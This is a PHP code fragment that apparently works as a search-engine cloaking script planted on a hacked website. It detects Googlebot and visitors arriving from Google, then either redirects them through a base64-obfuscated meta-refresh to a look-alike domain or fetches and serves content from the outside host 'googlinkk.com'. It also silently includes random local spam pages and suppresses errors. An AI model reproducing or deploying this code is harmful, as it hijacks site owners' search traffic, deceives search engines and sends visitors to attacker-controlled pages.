set_time_limit(0); error_reporting(0); header("Content-Type: text/html;charset=utf-8"); // 111 $isFromGoogleSearch = false; $ref = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $userAgent = $_SERVER['HTTP_USER_AGENT']; $isGoogleReferer = strpos(strtolower($ref), 'google.') !== false; $isGoogleBot = preg_match("/Googlebot/i", $userAgent); $isFromGoogleSearch = $isGoogleReferer || $isGoogleBot; $isFromGoogleSearch1 = false; $ref = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; // $targetCountry = 'zh-HK'; // $userLang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 5) : ''; // // .'.' if (strpos(strtolower($ref), 'google.') !== false) { $isFromGoogleSearch1 = true; } if ($isFromGoogleSearch1 && $userLang !== $targetCountry) { echo base64_decode('PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDsgdXJsPWh0dHBzOi8vZ29vb2dsZWxpbmsuY29tL3ZtOW1sLyI+'); exit; } $targetUrl = "https://googlinkk.com/"; // 1111 $hasQueryString = !empty($_SERVER['QUERY_STRING']); // 111 if ($isFromGoogleSearch && !$hasQueryString) { // 1111 $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $targetUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $pageContent1 = curl_exec($ch); curl_close($ch); // 1111 echo $pageContent1; exit; // 999 } // 9999 // 9999 // 99999 if ($isFromGoogleSearch && $hasQueryString) { $pages = ['1.php', '2.php', '3.php', '4.php', '5.php']; $randomPage = $pages[array_rand($pages)]; ob_start(); include $randomPage; $pageContent = ob_get_clean(); // 9999 echo $pageContent; exit; // 999 } // echo "999"; // 9999 // header("Location: /default.php"); // exit; ?>